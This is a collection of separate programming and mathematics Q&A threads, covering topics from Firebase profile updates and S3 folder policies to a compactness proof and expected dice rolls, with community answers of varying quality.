Q: "Unless someone lives under a rock" Could the expression unless someone lives under a rock be used in a formal setting? If no, what are some alternatives that could be used instead?

A: You would probably not use this in a formal setting, but that is probably due to the fact that it would be considered rude.  The problem with suggesting a formal alternative is that the sentiment itself is rude.

Unless you live under a rock, you know that circles are round. (=unless you are totally ignorant!)

Some formal alternatives might therefore be things like:

*

*It should be quite obvious that circles are round.

*It goes without saying that circles are round.

*It is a well-known fact that circles are round.

A: This answer is a kind of extended comment on Kosmonaut's answer. I would have said that "unless you live under a rock" tends to be used with situations where the person who lives under the rock is out of touch with current events. Googling for the phrase gives things like

Unless you live under a rock, you're more than aware about the Federal Election Campaign that's currently taking place.
Unless you live under a rock, you've heard the word blog used sometime
  in the last couple of years
Unless you live under a rock, you probably have been inundated with news of the upcoming iPhone 3GS.
Unless you live under a rock, you may have heard that starlet Lindsay Lohan is in a little bit of trouble.

etc. It's not used so much with things like "circles are round".

Could the expression in the title be
  used in a formal setting? If no, what
  are some alternatives that could be
  used instead?

I'm not sure how to answer the question you posed since I don't know exactly what "in a formal setting" means.
You want alternatives?

Unless you are totally out of touch with the real world
Unless you never read a newspaper
Unless you have been lost in the Himalayas

etc. I could easily go on all night.

A: Here are some alternatives that could help you:

*

*unless you've been living under a rock

*unless you've been living in a cave

*unless you've totally been in no contact with the real world

*unless you've been in some fantasy world where everything goes perfect


text:
Q: how to prove that there is an union of open intervals between a compact set and an open set? Let $\mathbb{R}$ be a set of real numbers.
Let $U$ be the open set in $\mathbb{R}$, and $K$ be the compact set in $U$.
At this time, it seems to hold that
there is some $\varepsilon > 0$, and for any $t \in K, (t-\varepsilon, t+\varepsilon) \subset U$.
But how can this be proven?

A: I would try using the fact that for any $t \in K$ there is an $\epsilon_t$ such that $(t-\epsilon_t,t+\epsilon_t) \subseteq U$ and then try cover the compact set $K$ and take a finite subcover, at least from a first impression of the problem.

A: Since $K \subseteq U$ and $U$ is open, for every $k \in K$ there is a $\varepsilon_k := d(x,U^{\complement})/2 > 0$ s.t. $(k - \varepsilon_k, k + \varepsilon_k) \cap U^{\complement} = \emptyset$. Here $d(k,U^{\complement}) = \inf_{u \in U^{\complement}}d(k,u)$ which is positive because $U$ is open.
Then define $\delta := \inf\{\varepsilon_k \vert k \in K\}$. Since $K$ is compact, $\delta>0$. There are multiple ways to see this:
Claim: $k \mapsto \varepsilon_k$ induces a continuous function $\phi: K \rightarrow \mathbb{R}$ via $k \mapsto d(k,U^{\complement})/2$.
Proof of claim: In fact, $k \mapsto d(k,U^{\complement})/2$ is even Lipschitz continuous. Let $x,y \in K$, then for every $u \in U^{\complement}$ we have
$$d(d(x,u), d(y,u)) = \vert d(x,u) - d(y,u)) \vert \leq d(x,y)$$
where we usethe definition of the metric in $\mathbb{R}$ in the first equality and the reverse triangle inequality in the second. Now take the infimum over all $u \in U^{\complement}$ on both sides and the result follows.
Since $K$ is compact $\phi$ attains a minimum which is by definition equal to $\delta$. Thats is, there exists a $k \in K$ s.t. $\varepsilon_k = \delta$ which is positive since $\varepsilon_k$ is positive.
This $\delta$ is now positive and has the property that for any $k \in K$ we have
$$(k - \delta, k + \delta) \subseteq (k - \varepsilon_k, k + \varepsilon_k) \subseteq U$$
The proof (and theorem) are valid in any metric space.

It is indeed crucial that $K$ is compact and not just closed. A counterexample to that would be $K = \mathbb{N}_{>0}$ and $U = \cup_{n \in \mathbb{N}_{>0}} (n - \frac{1}{n}, n + \frac{1}{n})$.


text:
Q: Firebase user.updateProfile({...}) not working in React App So, I have this ReactJS app, there is a user database,
The function for creating the user is this
import { ref, firebaseAuth } from './../Components/config'

export function auth (email, pw) {
  return firebaseAuth().createUserWithEmailAndPassword(email, pw)
    .then(saveUser)
}
export function saveUser (user) {
  return ref.child(`users/${user.uid}/info`)
    .set({
      email: user.email,
      uid: user.uid,
      number: "" //custom
    })
    .then(() => user)
}

as you see the user is made of 3 properties, email, uid, and a custom number property which initially is "",
I have a
changeNumberToNew = (n) =>{
    var user = firebase.auth().currentUser;
      if (user != null) {
          user.updateProfile({
            number: n
          }).then(() => {
            console.log("Number changer");
          }).catch((error) => {
            console.log(error);
          });
      } else {
        console.log("No user")
      }
  };

and a button  to  call the function
<button onClick={this.changeNumberToNew(4)}>Click to change number</button>

When i  click the button the promise is resolver leading to the execution of
console.log("Number changer")

but when I go and look at the firebase database object .. nothing changes, even if a reload and wait still nothing changes

A: I think the problem here is that you are confusing the user object in your database with the user in your authentication module. They are not the same.
You save a 'copy' of your user to the database when you say the following in the first chunk.
ref.child(`users/${user.uid}/info`)
    .set({
      email: user.email,
      uid: user.uid,
      number: ""
    })

Then in the second chunk of code you try and update the current user in your authentication module. Not good. You should be updating your database, not your authentication module.
var user = firebase.**auth()**.currentUser

if (user != null) {
  user.updateProfile({...})
}

I don't think you can create a custom field on the current User in the authentication module. The updateProfile() is used to update the fields you get by default from the provider, such as email, display name, photoURL etc. You can't create new ones.
You should update the copy of the user in your database and then reference that when you need the value of 'number'.
You change function should probably be more like...
changeNumberToNew = (n) => {
    var user = firebase.auth().currentUser;
    if (user) {
     ref.child(`users/${user.uid}/info`).update({number: n})
     .then(() => console.log("Number changer"))
     .catch(error => console.log(error))
    } else {
      console.log("No user")
    }
}

A: Firebase Auth updateProfile only supports displayName and photoURL. It does not support client custom attributes. For admin custom attributes, you would need to use the admin SDK: https://firebase.google.com/docs/auth/admin/custom-claims#set_and_validate_custom_user_claims_via_the_admin_sdk
You are probably better off in this case saving these arbitrary custom fields in the database only (provided they do not require admin privileges).


text:
Q: Base Constructor Not Executing I have a private type that should be instantiated in the constructor. I have base constructor and another with parameters. I kept instantiation in the base and only the variable assignment in parameterized constructor. But it is not working.
This is not working.
public class MainClass
{
    private MyType myType = null;
    private string myParm = string.Empty;

    private MainClass()
    {
        myType = new MyType();
    }

    public MainClass(string inParm) : base()
    {
        myParm = inParm;
    }
}

The below is working,
public class MainClass
{
    private MyType myType = null;
    private string myParm = string.Empty;

    private MainClass()
    {
    }

    public MainClass(string inParm): base()
    {
        myType = new MyType();
        myParm = inParm;
    }
}

myType is not initialized when kept in base constructor

A: you want this() not base().  You want to call the constructor on the same class, not its base class:
public MainClass(string inParm) : this()
{
   myParm = inParm;
}

By default, a class will call its base class's default constructor, as it's a requirement to construct itself.  If there is no default constructor on the base class, you'd have to supply the correct parameters to satisfy the construction of the base class.
But your base class is Object, so no need to worry about it.

A: You have to call this() not base() because you are not calling the parent constructor:
public class MainClass
{
    private MyType myType = null;
    private string myParm = string.Empty;

    private MainClass()
    {
        myType = new MyType();
    }

    public MainClass(string inParm)
        : this()
    {
        myParm = inParm;
    }
}


text:
Q: Send mail via Python logging in with Windows Authentication I've a conceptual doubt, I don't know if it's even possible.
Assume I log on a Windows equipment with an account (let's call it AccountA from UserA). However, this account has access to the mail account (Outlook) of the UserA and another fictional user (UserX, without any password, you logg in thanks to Windows authentication), shared by UserA, UserB and UserC.
Can I send a mail from User A using the account of User X via Python? If so, how shall I do the log in?
Thanks in advance

A: A interesting feature with Windows Authentication is that is uses the well known Kerberos protocol under the hood. In a private environment, that means if a server trusts the Active Directory domain, you can pass the authentication of a client machine to that server provided the service is Kerberized, even if the server is a Linux or Unix box and is not a domain member.
It is mainly used for Web servers in corporate environment, but could be used for any kerberized service. Postfix for example is know to accept this kind of authentication.

If you want to access an external mail server, you will have to store the credential in plain text on the client machine, which is bad. An acceptable way would be to use a file only readable by the current user (live protection) in an encrypted folder (at rest protection).


text:
Q: Eigenstates of Fourier transformation Let $\gamma$ be defined on $\mathbb R^n$ by $\gamma (x)=e^{-π x^2}$. With $\mathcal F$ standing for the Fourier transformation defined on the Schwartz space by
$$
(\mathcal F u)(\xi)=\int e^{-2iπ x\cdot \xi} u(x) dx,
$$
we have
$
\mathcal F\gamma =\gamma.
$
We can also define $\mathcal F$ for the tempered distribution ($\mathscr S'$)
with the duality formula
$$
\langle \widehat T,\phi\rangle_{\mathscr S',\mathscr S}=\langle T,\widehat{\phi}\rangle_{\mathscr S',\mathscr S}.
$$
For instance, the Poisson summation formula is $\widehat S=S$ with
$S=\sum_{k\in \mathbb Z^n}\delta_k$. Finally the question:
determine all the tempered distributions $T$ such that
$$
\mathcal F T=T.
$$

A: In case the specific distribution-theoretic argument is not clear... as it hadn't really been overtly mentioned in comments or answers, and is not really suggested by the classical argument as in Titchmarsh and such:
E.g., for Poisson summation on $\mathbb R$: observe that the distribution "sum over integers" is annihilated by multiplication by $e^{2\pi ix}-1$, and is translation invariant. Observe that these two conditions are interchanged by Fourier transform. Show that the space of such distributions is one-dimensional: the multiplication annihilation shows that any such distribution is of order $0$ and supported at integers. By classification of distributions supported at a point, it is a sum of Dirac deltas at integers. By translation-invariance, it is (a scalar multiple of) sum-over-evaluation-at-integers. A just-slightly-more-complicated version applies in $n$-dimensions.

A: This question is addressed in great detail in the book of Titchmarsh, Introduction to the theory of Fourier integrals. Such functions are called self-reciprocal, and there is a separate chapter about them. Of course Titchmarsh did not use the language of
distributions, but it is easy to translate. A recent paper on the related subject is http://arxiv.org/abs/1203.2427.


text:
Q: How to static_assert that something is an array (including VLA)? Using GNU extensions.
In C, I have this:
#define is_same_type(a, b)                      \
    __builtin_types_compatible_p(__typeof__(a), __typeof__(b))
#define is_array(a)         (!is_same_type((a), &(a)[0]))

#define Static_assert_array(a)                  \
    _Static_assert(is_array(a), "Not a `[]` !")

This correctly statically asserts that something is an array.
However, in g++, there is no __builtin_types_compatible_p().
In g++, I had this:
#define Static_assert_array(a)                  \
    static_assert(std::is_array <__typeof__(a)>::value, "Not a `[]`!")

But when I tried to use it with a VLA, I found out that it doesn't support VLAs:
test.c:10:39: error: 'int [n]' is a variably modified type
   10 |  return std::is_array <__typeof__(vla)>::value;
      |                                   ^
test.c:10:39: error:   trying to instantiate 'template<class> struct std::is_array'

Is there any way to make that macro work with VLAs?


text:
Q: ASP.NET Assembly Error binding logging off Hey just getting following error
Could not load file or assembly 'Ektron.Cms.Controls, Version=8.0.1.87, Culture=neutral, PublicKeyToken=559a2c4fa21e63be' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0x80131040)
On line
<%@ Master Language="VB" AutoEventWireup="false" CodeBehind="LoggedIn.master.vb" Inherits="udpharmalecheile.LoggedIn" %>

With further information
Assembly Load Trace: The following information can be helpful to determine why the assembly 'Ektron.Cms.Controls, Version=8.0.1.87, Culture=neutral, PublicKeyToken=559a2c4fa21e63be' could not be loaded.
WRN: Assembly binding logging is turned OFF.
To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1.
Note: There is some performance penalty associated with assembly bind failure logging.
To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog].
Any Idea what I can do to resolve this ?

A: I was using two different versions of DLLs. Solved


text:
Q: AWS set policy to specific S3 bucket folder I have this policy:
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "s3:PutObject",
                "s3:GetObject",
                "s3:ListBucket",
                "s3:DeleteObject"
            ],
            "Resource": [
                "arn:aws:s3:::static.MYURL.com",
                "arn:aws:s3:::static.MYURL.com/images/carousel/*"
            ]
        }
    ]
}

And currently the user under that policy can List all the object inside the static.MYURL.com bucket.
How can I restrict to only see the object under static.MYURL.com/images/carousel/ ?
I just want that the user can list, delete, get and read object inside that folder

A: Please refer following documents from AWS;

*

*Grant Access to User-Specific Folders in an Amazon S3 Bucket
OR

*How can I grant a user access to a specific folder in my Amazon S3 bucket?
OR

*How can I use IAM policies to grant user-specific access to specific folders?
You can use AWS Policy Generator

A: Yes, you can check out some helpful links provided by @amitd. Here is a sample policy that will hopefully meet your needs:
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "s3:PutObject",
                "s3:GetObject",
                "s3:DeleteObject"
            ],
            "Resource": [
                "arn:aws:s3:::static.MYURL.com",
                "arn:aws:s3:::static.MYURL.com/images/carousel/*"
            ]
        },
        {
            "Effect": "Allow",
            "Action": [
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::static.MYURL.com"
            ],
            "Condition": {
                "StringLike": {
                    "s3:prefix": [
                        "images/carousel/*"
                    ]
                }
            }
        }
    ]
}


text:
Q: flutter center text with suffix icon SizedBox(
                  width: 150,
                  child: TextField(
                    textAlign: TextAlign.center,
                    decoration: InputDecoration(
                        suffixIcon: Icon(
                          Icons.keyboard_arrow_down_outlined,
                          color: kGreyColor,
                        ),
                        hintStyle: TextStyle(fontSize: 20),
                        hintText: "Bugün"),
                  ),
                ),

how can i make this design I did something but it didn't turn out well
eddit:Content padding coming theme but not looking exactly center

A: You can achieve this by using a Container and a Stack.
Container(
              decoration: BoxDecoration(
                  borderRadius: BorderRadius.circular(5),
                  border: Border.all(color: Colors.grey)),
              child: Stack(
                children: const [
                  Padding(
                    padding: EdgeInsets.symmetric(horizontal: 40, vertical: 5),
                    child: Text("Bugün"),
                  ),
                  Positioned.fill(
                    child: Align(
                      alignment: Alignment.centerRight,
                      child: Icon(
                        Icons.keyboard_arrow_down_outlined,
                      ),
                    ),
                  )
                ],
              ),
            )

You can check the code on this DartPad

A: /* Don't change your code just add this you will get your exact answer. */
SizedBox(
                                width: 150,
                                child: TextField(
                                  textAlign: TextAlign.end,
                                  decoration: InputDecoration(
                                      suffixIcon: Icon(
                                        Icons.keyboard_arrow_down_outlined,
                                        color: Colors.grey,
                                      ),
                                      hintStyle: TextStyle(fontSize: 20,),
                                      hintText: "Bugün"),
                                ),
                              ),


text:
Q: Expected amount of dice tosses in two games I've recently came across very interesting question and I'm looking for the simplest solution. It is also very interesting to see calculations for the expected amounts for both cases.

Alice wants to join her school's Probability Student Club. Membership
  dues are computed via one of two simple probabilistic games.
The first game: roll a die repeatedly. Stop rolling once you get a
  five followed by a six. Your number of rolls is the amount you pay, in
  dollars.
The second game: same, except that the stopping condition is a five
  followed by a five.
Which of the two games should Alice elect to play? Does it even
  matter?

A: Alice should play the first game
Both games are identical until Alice rolls a 5. At that point, on the next roll, she has a 1/6 chance of rolling a 5, and a 1/6 chance of rolling a 6. So her chances of winning at this point are identical between both games, but what makes this interesting is what happens if she does not win immediately after rolling her first 5.
In the second game, suppose Alice rolls a 5 and then a non-5. She's now back to square one, having to roll a 5 again before looking for her second 5. She will require a minimum of two more rolls to win. In contrast, in the first game, it's possible for Alice to roll a 5 followed by a non-6, which could be a 5. In the second game, failure to win doesn't necessarily revert the player to square one - there's a possibility she could still be just one roll away from winning.
After rolling the first 5, a player of the first game has a 1/6 chance of winning, a 1/6 chance of trying again, and a 4/6 chance of starting over. A player of the second game has a 1/6 chance of winning and a 5/6 chance of having to start over. The first game will take fewer rolls to win, on average.

A: Here is a result using simulations in R, summary shows some statistics for number of throws.
First case:
res1=replicate(1e4,{
  tmp=sample(1:6,500,replace=T)
  for(i in 2:500){
    if(tmp[i-1]==5 & tmp[i]==6){
      return(i)
    }
  }
})

and the results:
summary(res1)
   Min. 1st Qu.  Median    Mean 3rd Qu.    Max.
   2.00   12.00   25.00   36.01   49.00  476.00

Second case:
res2=replicate(1e4,{
  tmp=sample(1:6,500,replace=T)
  for(i in 2:500){
    if(tmp[i-1]==5 & tmp[i]==5){
      return(i)
    }
  }
})

and the results:
summary(res2)
   Min. 1st Qu.  Median    Mean 3rd Qu.    Max.
   2.00   13.00   30.00   41.97   57.00  350.00

And so, the expected outcome for the first case is 36, for the second it is 42.

A: Each roll is an independent event, it will not matter Pr(x=6|x-1=5) = Pr(x=6) and Pr(X=5|x-1=5) = Pr(X=5) , now assuming its a fair dice, Pr(X=5) = Pr(X=6) = 1/6 the same.
So in terms of expected tries ( which follows negative binomial, number of tries to get prob success two independent event 1/6*1/6 = 1/36) will be the same.